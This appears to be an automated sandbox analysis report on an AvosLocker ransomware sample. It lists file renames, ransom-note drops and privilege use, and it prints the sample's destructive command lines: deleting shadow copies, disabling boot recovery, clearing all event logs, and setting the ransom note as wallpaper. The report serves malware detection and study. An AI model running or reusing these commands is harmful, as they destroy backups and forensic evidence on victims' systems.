Malware Analysis Report

2024-10-16 03:27

Sample ID 240910-zz7phsvfqn
Target AvosLocker.exe
SHA256 f8e99bbacc62b0f72aa12f5f92e35607fa0382a881fe4a4b9476fc6b87a03c78
Tags
avoslocker defense_evasion discovery evasion execution impact ransomware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

f8e99bbacc62b0f72aa12f5f92e35607fa0382a881fe4a4b9476fc6b87a03c78

Threat Level: Known bad

The file AvosLocker.exe was found to be: Known bad.

Malicious Activity Summary

avoslocker defense_evasion discovery evasion execution impact ransomware

Avoslocker Ransomware

Renames multiple (8474) files with added filename extension

Renames multiple (10393) files with added filename extension

Deletes shadow copies

Modifies boot configuration data using bcdedit

Enumerates connected drives

Drops desktop.ini file(s)

Sets desktop wallpaper using registry

Drops file in Program Files directory

Unsigned PE

Command and Scripting Interpreter: PowerShell

System Location Discovery: System Language Discovery

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Opens file in notepad (likely ransom note)

Suspicious use of WriteProcessMemory

Uses Volume Shadow Copy service COM API

Interacts with shadow copies

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-09-10 21:10

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-09-10 21:10

Reported

2024-09-10 21:13

Platform

win7-20240729-en

Max time kernel

65s

Max time network

16s

Command Line

"C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe"

Signatures

Avoslocker Ransomware

ransomware avoslocker

Deletes shadow copies

ransomware defense_evasion impact execution

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Renames multiple (10393) files with added filename extension

ransomware

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1379146745.png" C:\Windows\system32\reg.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\YAHOO.COM.HK.XML C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BS00135_.WMF C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Calendar.Gadget\images\bg-today.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-swing-outline.xml C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\SlideShow.Gadget\it-IT\settings.html C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsPreviewTemplate.html C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\AG00157_.GIF C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\undocked_black_snow.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Common Files\Microsoft Shared\MSInfo\de-DE\msinfo32.exe.mui C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File created C:\Program Files (x86)\Microsoft Office\Templates\1033\ONENOTE\14\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Calendar.Gadget\images\bNext-down.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Mozilla Firefox\omni.ja C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\MSTORE_K_COL.HXK C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\DVDHM.POC C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107288.WMF C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\docked_black_moon-waning-gibbous.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\COPYRIGHT C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ka.txt C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\mn.txt C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\28.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\images\activity16v.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Windows Media Player\de-DE\wmpnssci.dll.mui C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\GRPHFLT\CGMIMP32.CFG C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.SF C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationUp_SelectionSubpicture.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\settings_right_rest.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Desert\TAB_ON.GIF C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\cmm\GRAY.pf C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-masterfs-nio2.xml C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\DGBOXES.DPV C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Office Setup Controller\Office.en-us\SETUP.XML C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Cordoba C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\it.pak C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationRight_ButtonGraphic.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0101867.BMP C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File created C:\Program Files (x86)\Common Files\System\ado\es-ES\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_winxp_blu.css C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\GrayCheck\TAB_ON.GIF C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Calendar.Gadget\images\rings-dock.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\J0115842.GIF C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Colors\Module.xml C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PE00693_.WMF C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Push\push_item.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\images\flower_s.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\LABEL.XML C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationRight_SelectionSubpicture.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\en-US\js\localizedStrings.js C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\BrightYellow\TAB_ON.GIF C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD21327_.GIF C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18235_.WMF C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File created C:\Program Files\Microsoft Games\Multiplayer\Checkers\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\CHECKER.POC C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0239063.WMF C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\it-IT\js\settings.js C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\Folder-48.png C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.model.workbench.nl_zh_4.4.0.v20140623020002.jar C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\CST6CDT C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\en-US\TipRes.dll.mui C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Opens file in notepad (likely ransom note)

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\NOTEPAD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1200 wrote to memory of 1080 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\system32\cmd.exe
PID 1200 wrote to memory of 1080 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\system32\cmd.exe
PID 1200 wrote to memory of 1080 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\system32\cmd.exe
PID 1200 wrote to memory of 1080 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\system32\cmd.exe
PID 1200 wrote to memory of 1100 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\system32\cmd.exe
PID 1200 wrote to memory of 1100 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\system32\cmd.exe
PID 1200 wrote to memory of 1100 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\system32\cmd.exe
PID 1200 wrote to memory of 1100 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\system32\cmd.exe
PID 1200 wrote to memory of 1216 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\system32\cmd.exe
PID 1200 wrote to memory of 1216 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\system32\cmd.exe
PID 1200 wrote to memory of 1216 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\system32\cmd.exe
PID 1200 wrote to memory of 1216 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\system32\cmd.exe
PID 1200 wrote to memory of 2304 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\system32\cmd.exe
PID 1200 wrote to memory of 2304 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\system32\cmd.exe
PID 1200 wrote to memory of 2304 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\system32\cmd.exe
PID 1200 wrote to memory of 2304 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\system32\cmd.exe
PID 1200 wrote to memory of 1376 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\system32\cmd.exe
PID 1200 wrote to memory of 1376 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\system32\cmd.exe
PID 1200 wrote to memory of 1376 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\system32\cmd.exe
PID 1200 wrote to memory of 1376 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\system32\cmd.exe
PID 1376 wrote to memory of 2812 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1376 wrote to memory of 2812 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1376 wrote to memory of 2812 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1080 wrote to memory of 1504 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1080 wrote to memory of 1504 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1080 wrote to memory of 1504 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1216 wrote to memory of 1052 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 1216 wrote to memory of 1052 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 1216 wrote to memory of 1052 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 1100 wrote to memory of 1720 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 1100 wrote to memory of 1720 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 1100 wrote to memory of 1720 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 2304 wrote to memory of 2456 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2304 wrote to memory of 2456 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2304 wrote to memory of 2456 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 1200 wrote to memory of 4564 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1200 wrote to memory of 4564 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1200 wrote to memory of 4564 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1200 wrote to memory of 4564 N/A C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4564 wrote to memory of 6720 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 4564 wrote to memory of 6720 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 4564 wrote to memory of 6720 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 4564 wrote to memory of 7160 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe
PID 4564 wrote to memory of 7160 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe
PID 4564 wrote to memory of 7160 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe

"C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe"

C:\Windows\system32\cmd.exe

cmd /c wmic shadowcopy delete /nointeractive

C:\Windows\system32\cmd.exe

cmd /c vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\system32\cmd.exe

cmd /c bcdedit /set {default} recoveryenabled No

C:\Windows\system32\cmd.exe

cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\cmd.exe

cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\System32\Wbem\WMIC.exe

wmic shadowcopy delete /nointeractive

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} recoveryenabled No

C:\Windows\system32\vssadmin.exe

vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "$a = [System.IO.File]::ReadAllText(\"F:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1379146745.png /f

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False

C:\Windows\system32\NOTEPAD.EXE

"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\GET_YOUR_FILES_BACK.txt

Network

N/A

Files

C:\Users\GET_YOUR_FILES_BACK.txt

MD5 01188d22b1675e3437b1418e14f4ffab
SHA1 6e7127f3bbfce49485ed8f1acf8f697bcb952818
SHA256 e4b3ac00a0b2eb195b26abffbc4368077384e73393e51605edda17dae05ab7f2
